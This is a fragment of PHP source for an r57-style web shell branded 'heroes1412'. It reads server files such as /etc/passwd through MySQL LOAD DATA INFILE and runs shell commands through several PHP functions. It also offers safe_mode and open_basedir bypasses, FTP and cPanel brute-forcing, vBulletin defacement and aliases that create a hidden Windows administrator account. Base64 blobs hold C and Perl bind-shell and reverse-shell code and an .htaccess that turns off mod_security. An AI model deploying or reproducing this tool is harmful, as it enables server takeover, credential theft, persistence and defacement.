 echo "<div align=center><font face=Verdana size=-2><b>Load file: </b><input type=text name=loadfile size=100 value=".(!empty($_POST['loadfile'])?($_POST['loadfile']):("/etc/passwd")).">".ws(2)."<input type=submit name=submit value=\" Load \"><br /><br />";
 echo "<b>File content</b><br><br>";
 echo "<textarea cols=121 rows=15 name=showloadfile>";
 @mysql_query("DROP TABLE IF EXISTS heroes1412");
 @mysql_query("CREATE TABLE `heroes1412` ( `file` LONGBLOB NOT NULL )");
 @mysql_query("LOAD DATA LOCAL INFILE \"".str_replace('\','/',$_POST['loadfile'])."\" INTO TABLE heroes1412 FIELDS TERMINATED BY '' ESCAPED BY '' LINES TERMINATED BY '
'");
 $r = @mysql_query("SELECT * FROM heroes1412");
 while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }
 @mysql_query("DROP TABLE IF EXISTS heroes1412");
 echo "</textarea></div>";
 echo "</form>";
 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
 }
if(isset($_GET['delete']))
 {
   @unlink(__FILE__);
 }
if(isset($_GET['tmp']))
 {
   @unlink("/tmp/bdpl");
   @unlink("/tmp/back");
   @unlink("/tmp/bd");
   @unlink("/tmp/bd.c");
   @unlink("/tmp/dp");
   @unlink("/tmp/dpc");
   @unlink("/tmp/dpc.c");
 }
if(isset($_GET['phpini']))
{
echo $head;
function U_value($value)
 {
 if ($value == '') return '<i>no value</i>';
 if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
 if ($value === null) return 'NULL';
 if (@is_object($value)) $value = (array) $value;
 if (@is_array($value))
 {
 @ob_start();
 print_r($value);
 $value = @ob_get_contents();
 @ob_end_clean();
 }
 return U_wordwrap((string) $value);
 }
function U_wordwrap($str)
 {
 $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
 return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
 }
if (@function_exists('ini_get_all'))
 {
 $r = '';
 echo '<table width=100%>', '<tr><td class=main bgcolor=#333333><font face=Verdana size=-2 color=#009900><div align=center><b>Directive</b></div></font></td><td class=main bgcolor=#333333><font face=Verdana size=-2 color=#009900><div align=center><b>Local Value</b></div></font></td><td class=main bgcolor=#333333><font face=Verdana size=-2 color=#009900><div align=center><b>Master Value</b></div></font></td></tr>';
 foreach (@ini_get_all() as $key=>$value)
  {
  $r .= '<tr><td class=main>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td class=main><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td class=main><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
  }
 echo $r;
 echo '</table>';
 }
echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
if(isset($_GET['cpu']))
 {
   echo $head;
   echo '<table width=100%><tr><td class=main bgcolor=Black><div align=center><font face=Verdana size=-2 color=#009900><b>CPU</b></font></div></td></tr></table><table width=100%>';
   $cpuf = @file("cpuinfo");
   if($cpuf)
    {
      $c = @sizeof($cpuf);
      for($i=0;$i<$c;$i++)
        {
          $info = @explode(":",$cpuf[$i]);
          if($info[1]==""){ $info[1]="---"; }
          $r .= '<tr><td class=main>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td class=main><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
        }
      echo $r;
    }
   else
    {
      echo '<tr><td class=main>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
    }
   echo '</table>';
   echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
   die();
 }
if(isset($_GET['mem']))
 {
   echo $head;
   echo '<table width=100%><tr><td class=main bgcolor=Black><div align=center><font face=Verdana size=-2 color=#009900><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
   $memf = @file("meminfo");
   if($memf)
    {
      $c = sizeof($memf);
      for($i=0;$i<$c;$i++)
        {
          $info = explode(":",$memf[$i]);
          if($info[1]==""){ $info[1]="---"; }
          $r .= '<tr><td class=main>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td class=main><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
        }
      echo $r;
    }
   else
    {
      echo '<tr><td class=main>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
    }
   echo '</table>';
   echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
   die();
 }
$lang=array(
/* --------------------------------------------------------------- */
'eng_text1' =>'Executed command',
'eng_text2' =>'Execute command on server',
'eng_text3' =>'Run command',
'eng_text4' =>'Work directory',
'eng_text5' =>'Upload files on server',
'eng_text6' =>'Local file',
'eng_text7' =>'Aliases',
'eng_text8' =>'Select alias',
'eng_butt1' =>'Execute',
'eng_butt2' =>'Upload',
'eng_text9' =>'Bind port to /bin/bash',
'eng_text10'=>'Port',
'eng_text11'=>'Password for access',
'eng_butt3' =>'Bind',
'eng_text12'=>'back-connect',
'eng_text13'=>'IP',
'eng_text14'=>'Port',
'eng_butt4' =>'Connect',
'eng_text15'=>'Upload files from remote server',
'eng_text16'=>'With',
'eng_text17'=>'Remote file',
'eng_text18'=>'Local file',
'eng_text20'=>'Use',
'eng_text21'=>'&nbsp;New name',
'eng_text23'=>'Local port',
'eng_text24'=>'Remote host',
'eng_text25'=>'Remote port',
'eng_text26'=>'Use',
'eng_butt5' =>'Run',
'eng_text28'=>'Work in safe_mode',
'eng_text29'=>'...::: ACCESS DENIED :::...',
'eng_butt6' =>'Change',
'eng_text30'=>'Cat file',
'eng_butt7' =>'Show',
'eng_text31'=>'File not found',
'eng_text32'=>'Eval PHP code',
'eng_text33'=>'Test bypass open_basedir with cURL functions',
'eng_butt8' =>'Test',
'eng_text34'=>'',
'eng_text35'=>'Test bypass with load file in mysql',
'eng_text36'=>'Db . Table',
'eng_text37'=>'Login',
'eng_text38'=>'Password',
'eng_text39'=>'Database',
'eng_text40'=>'Dump database table',
'eng_butt9' =>'Dump',
'eng_text41'=>'Save dump in file',
'eng_text42'=>'Edit files',
'eng_text43'=>'File for edit',
'eng_butt10'=>'Save',
'eng_text44'=>'Can\'t edit file! Only read access!',
'eng_text45'=>'File saved',
'eng_text46'=>'Show phpinfo()',
'eng_text47'=>'Show variables from php.ini',
'eng_text48'=>'Delete temp files',
'eng_butt11'=>'Edit file',
'eng_text49'=>'Delete script from server',
'eng_text50'=>'View cpu info',
'eng_text51'=>'View memory info',
'eng_text52'=>'Find text',
'eng_text53'=>'In dirs',
'eng_text54'=>'Find text in files',
'eng_butt12'=>'Find',
'eng_text55'=>'Only in files',
'eng_text56'=>'Nothing :(',
'eng_text57'=>'Create/Delete File/Dir',
'eng_text58'=>'name',
'eng_text59'=>'file',
'eng_text60'=>'dir',
'eng_butt13'=>'Create/Delete',
'eng_text61'=>'File created',
'eng_text62'=>'Dir created',
'eng_text63'=>'File deleted',
'eng_text64'=>'Dir deleted',
'eng_text65'=>'Create',
'eng_text66'=>'Delete',
'eng_text67'=>'Chown/Chgrp/Chmod',
'eng_text68'=>'Command',
'eng_text69'=>'param1',
'eng_text70'=>'param2',
'eng_text71'=>"Second commands param is:
- for CHOWN - name of new owner or UID
- for CHGRP - group name or GID
- for CHMOD - 0777, 0755...",
'eng_text72'=>'Text for find',
'eng_text73'=>'Find in folder',
'eng_text74'=>'Find in files',
'eng_text75'=>'* you can use regexp',
'eng_text76'=>'',
'eng_text80'=>'Type',
'eng_text81'=>'Net',
'eng_text82'=>'Databases',
'eng_text83'=>'Run SQL query',
'eng_text84'=>'SQL query',
'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
'eng_text86'=>'Download files from server',
'eng_butt14'=>'Download',
'eng_text87'=>'Download files from remote ftp-server',
'eng_text88'=>'FTP-server:port',
'eng_text89'=>'File on ftp',
'eng_text90'=>'Transfer mode',
'eng_text91'=>'Archivation',
'eng_text92'=>'without archivation',
'eng_text93'=>'FTP',
'eng_text94'=>'FTP-bruteforce',
'eng_text95'=>'Users list',
'eng_text96'=>'Can\'t get users list',
'eng_text97'=>'checked: ',
'eng_text98'=>'success: ',
'eng_text99'=>'* use username from /etc/passwd for ftp login and password',
'eng_text100'=>'Send file to remote ftp server',
'eng_text101'=>'Use reverse (user -> resu) login for password',
'eng_text109'=>'Hide',
'eng_text110'=>'Show',
'eng_text111'=>'SQL-Server : Port',

'eng_text115'=>'',
'eng_text116'=>'Copy from',
'eng_text117'=>'to',
'eng_text118'=>'File copied',
'eng_text119'=>'Cant copy file',
'eng_text120'=>'SQL-Server',
'eng_text121'=>'Vbulletin Deface',
'eng_text122'=>'ln -s',
'eng_text123'=>'Brute Cpanel Account',
'eng_text124'=>'About me',
'eng_text125'=>'Bypass php 5.2.6',
'eng_text127'=>'Bypass php 5.2.9',
'eng_text128'=>'Destroy file....',
'eng_text129'=>'Useful',
'eng_text130'=>'Downloaders',
'eng_text131'=>'Php Bypass',
'eng_err0'=>'Error! Can\'t write in file ',
'eng_err1'=>'Error! Can\'t read file ',
'eng_err2'=>'Error! Can\'t create ',
'eng_err5'=>'Error! Can\'t change dir on ftp',
'eng_text200'=>'read file from vul copy()',
'eng_text202'=>'where file in server',
'eng_text300'=>'read file from vul curl()',
'eng_text203'=>'read file from vul ini_restore()',
'eng_text204'=>'Show list users',
'eng_text205'=>'write shell in this side',
'eng_text206'=>'read dir',
'eng_text207'=>'read dir from vul reg_glob',
'eng_text209'=>'read dir from vul root',
'eng_text210'=>'DeZender ',
'eng_text211'=>'safe_mode off',
'eng_text212'=>'Close safe_mode with php.ini',
'eng_text213'=>'Close security_mod with .htaccess',
'eng_text218'=>'write ini.php file to close safe_mode with ini_restore vul',
'eng_text219'=>'Get file to server in safe_mode and change name',
'eng_text224'=>'read file from PLUGIN',
'eng_text226' => 'Write to file',
'eng_text230' => 'ionCube extension safe_mode bypass',
'eng_text231' => 'win32std extension safe_mode bypass',
'eng_text232' => 'win32service extension safe_mode bypass',
'eng_text233' => 'perl extension safe_mode bypass',
'eng_text234' => 'FFI extension safe_mode bypass',
'eng_butt65'=>'Write',
);
 
$aliases=array(
'________________for server unix ______________-'=>'dir -ao',
'find config* files'=>'find / -type f -name "config*"',
'find config* files in current dir'=>'find . -type f -name "config*"',
'find all writable files'=>'find / -type f -perm -2 -ls',
'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
'find all writable directories'=>'find /  -type d -perm -2 -ls',
'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
'find all writable directories and files'=>'find / -perm -2 -ls',
'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
'find all service.pwd files'=>'find / -type f -name service.pwd',
'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
'find all .bash_history files'=>'find / -type f -name .bash_history',
'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
'find all .mysql_history files'=>'find / -type f -name .mysql_history',
'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
'show opened ports'=>'netstat -an | grep -i listen',
'________________for server windows ______________-'=>'dir',
'1_add new user'=>'net user heroes1412 123456 /add',
'2_add your user for admin group'=>'net localgroup administrators heroes1412 /add',
'3_add your user for Remote Desktop group'=>'net localgroup "Remote Desktop Users" heroes1412 /add',
'----------------------------------------------------------------------------------------------------'=>'ls -la'
);
$table_up1  = "<tr><td class=main bgcolor=Black
><font face=Verdana size=-2><b><div class=tt align=center>:: ";
$table_up2  = " ::</div></b></font></td></tr><tr><td class=main>";
$table_up3  = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=Black><tr><td class=main>";
$table_end1 = "</td></tr>";
$arrow = " <font face=Webdings color=#009900>4</font>";
$lb = "<font color=#009900>[</font>";
$rb = "<font color=#009900>]</font>";
$font = "<font face=Verdana size=-2>";
$ts = "<table class=table1 width=100% align=center>";
$te = "</table>";
$fs = "<form name=form method=POST>";
$fe = "</form>";

if(isset($_GET['users']))
 {
 echo $head;
 if(!$users=get_users()) { echo "<center><font face=Verdana size=-2 color=#009900>".$lang[$language.'_text96']."</font></center>"; }
 else
  {
  echo '<center><textarea cols=20 rows=20>';
  foreach($users as $user) { echo $user."
"; }
  echo '</textarea></center>';
  }
 echo "<div align=center><br><b><a href=".$_SERVER['PHP_SELF']."?brute&heroes1412=crack><font size=5 color=Red>BRUTE IT!</font></b></a><br><br><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
 }

if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
$dir = @getcwd();
$unix = 0;
if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
if(empty($dir))
 {
 $os = getenv('OS');
 if(empty($os)){ $os = php_uname(); }
 if(empty($os)){ $os ="-"; $unix=1; }
 else
    {
    if(@eregi("^win",$os)) { $unix = 0; }
    else { $unix = 1; }
    }
 }
if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
  {
    echo $head;
    if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
    else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
    $sr->SearchText(0,0);
    $res = $sr->GetResultFiles();
    $found = $sr->GetMatchesCount();
    $titles = $sr->GetTitles();
    $r = "";
    if($found > 0)
    {
      $r .= "<TABLE width=100%>";
      foreach($res as $file=>$v)
      {
        $r .= "<TR>";
        $r .= "<TD class=main colspan=2><font face=Verdana size=-2><b>".ws(3);
        $r .= (!$unix)? str_replace("/","\",$file) : $file;
        $r .= "</b></font></ TD>";
        $r .= "</TR>";
        foreach($v as $a=>$b)
        {
          $r .= "<TR>";
          $r .= "<TD class=main align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
          $r .= "<TD class=main><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
          $r .= "</TR>
";
        }
      }
      $r .= "</TABLE>";
    echo $r;
    }
    else
    {
      echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
    }
  echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
  die();
  }
if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
function ws($i)
{
return @str_repeat("&nbsp;",$i);
}
function ex($cfe)
{
 $res = '';
 if (!empty($cfe))
 {
  if(function_exists('exec'))
   {
    @exec($cfe,$res);
    $res = join("
",$res);
   }
  elseif(function_exists('shell_exec'))
   {
    $res = @shell_exec($cfe);
   }
  elseif(function_exists('system'))
   {
    @ob_start();
    @system($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
   }
  elseif(function_exists('passthru'))
   {
    @ob_start();
    @passthru($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
   }
  elseif(@is_resource($f = @popen($cfe,"r")))
  {
   $res = "";
   while(!@feof($f)) { $res .= @fread($f,1024); }
   @pclose($f);
  }
 }
 return $res;
}
function get_users()
{
  $users = array();
if (file_exists('passwd.txt')) {
 $rows=file('passwd.txt');
  } else {
 $rows=file('/etc/passwd');
  }
  if(!$rows) return 0;
  foreach ($rows as $string)
   {
   	$user = @explode(":",$string);
   	if(substr($string,0,1)!='#') array_push($users,$user[0]);
   }
  return $users;
}
function err($n,$txt='')
{
echo '<table width=100% cellpadding=0 cellspacing=0><tr><td class=main bgcolor=Black><font color=Red face=Verdana size=-2><div align=center><b>';
echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
if(!empty($txt)) { echo " $txt"; }
echo '</b></div></font></td></tr></table>';
return null;
}
function perms($mode)
{
if (!$GLOBALS['unix']) return 0;
if( $mode & 0x1000 ) { $type='p'; }
else if( $mode & 0x2000 ) { $type='c'; }
else if( $mode & 0x4000 ) { $type='d'; }
else if( $mode & 0x6000 ) { $type='b'; }
else if( $mode & 0x8000 ) { $type='-'; }
else if( $mode & 0xA000 ) { $type='l'; }
else if( $mode & 0xC000 ) { $type='s'; }
else $type='u';
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
return trim($s);
}
function in($type,$name,$size,$value,$checked=0)
{
 $ret = "<input type=".$type." name=".$name." ";
 if($size != 0) { $ret .= "size=".$size." "; }
 $ret .= "value=\"".$value."\"";
 if($checked) $ret .= " checked";
 return $ret.">";
}
function which($pr)
{
$path = ex("which $pr");
if(!empty($path)) { return $path; } else { return $pr; }
}
function cf($fname,$text)
{
 $w_file=@fopen($fname,"w") or err(0);
 if($w_file)
 {
 @fputs($w_file,base64_decode($text));
 @fclose($w_file);
 }
}
function sr($l,$t1,$t2)
 {
 return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
 }
if (!@function_exists("view_size"))
{
function view_size($size)
{
 if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
 elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
 elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
 else {$size = $size . " B";}
 return $size;
}
}
  function DirFilesR($dir,$types='')
  {
    $files = Array();
    if(($handle = @opendir($dir)))
    {
      while (false !== ($file = @readdir($handle)))
      {
        if ($file != "." && $file != "..")
        {
          if(@is_dir($dir."/".$file))
            $files = @array_merge($files,DirFilesR($dir."/".$file,$types));
          else
          {
            $pos = @strrpos($file,".");
            $ext = @substr($file,$pos,@strlen($file)-$pos);
            if($types)
            {
              if(@in_array($ext,explode(';',$types)))
                $files[] = $dir."/".$file;
            }
            else
              $files[] = $dir."/".$file;
          }
        }
      }
      @closedir($handle);
    }
    return $files;
  }
  class SearchResult
  {
    var $text;
    var $FilesToSearch;
    var $ResultFiles;
    var $FilesTotal;
    var $MatchesCount;
    var $FileMatschesCount;
    var $TimeStart;
    var $TimeTotal;
    var $titles;
    function SearchResult($dir,$text,$filter='')
    {
      $dirs = @explode(";",$dir);
      $this->FilesToSearch = Array();
      for($a=0;$a<count($dirs);$a++)
        $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
      $this->text = $text;
      $this->FilesTotal = @count($this->FilesToSearch);
      $this->TimeStart = getmicrotime();
      $this->MatchesCount = 0;
      $this->ResultFiles = Array();
      $this->FileMatchesCount = Array();
      $this->titles = Array();
    }
    function GetFilesTotal() { return $this->FilesTotal; }
    function GetTitles() { return $this->titles; }
    function GetTimeTotal() { return $this->TimeTotal; }
    function GetMatchesCount() { return $this->MatchesCount; }
    function GetFileMatchesCount() { return $this->FileMatchesCount; }
    function GetResultFiles() { return $this->ResultFiles; }
    function SearchText($phrase=0,$case=0) {
    $qq = @explode(' ',$this->text);
    $delim = '|';
      if($phrase)
        foreach($qq as $k=>$v)
          $qq[$k] = ''.$v.'';
      $words = '('.@implode($delim,$qq).')';
      $pattern = "/".$words."/";
      if(!$case)
        $pattern .= 'i';
      foreach($this->FilesToSearch as $k=>$filename)
      {
        $this->FileMatchesCount[$filename] = 0;
        $FileStrings = @file($filename) or @next;
        for($a=0;$a<@count($FileStrings);$a++)
        {
          $count = 0;
          $CurString = $FileStrings[$a];
          $CurString = @Trim($CurString);
          $CurString = @strip_tags($CurString);
          $aa = '';
          if(($count = @preg_match_all($pattern,$CurString,$aa)))
          {
            $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b></b></SPAN>",$CurString);
            $this->ResultFiles[$filename][$a+1] = $CurString;
            $this->MatchesCount += $count;
            $this->FileMatchesCount[$filename] += $count;
          }
        }
      }
      $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
    }
  }
  function getmicrotime()
  {
    list($usec,$sec) = @explode(" ",@microtime());
    return ((float)$usec + (float)$sec);
  }
$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9";
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
$php_ini1="c2FmZV9tb2RlICAgICAgICAgICAgICAgPSAgICAgICBPZmY=";
$htacces="PElmTW9kdWxlIG1vZF9zZWN1cml0eS5jPg0KICAgIFNlY0ZpbHRlckVuZ2luZSBPZmYNCiAgICBTZWNGaWx0ZXJTY2FuUE9TVCBPZmYNCjwvSWZNb2R1bGU+";
$sni_res="PD8NCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsiZmlsZSJdKTsNCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCmVjaG8gaW5pX2dldCgic2FmZV9tb2RlIik7DQplY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaW5jbHVkZSgkX0dFVFsic3MiXSk7DQo/Pg==";

if($unix)
 {
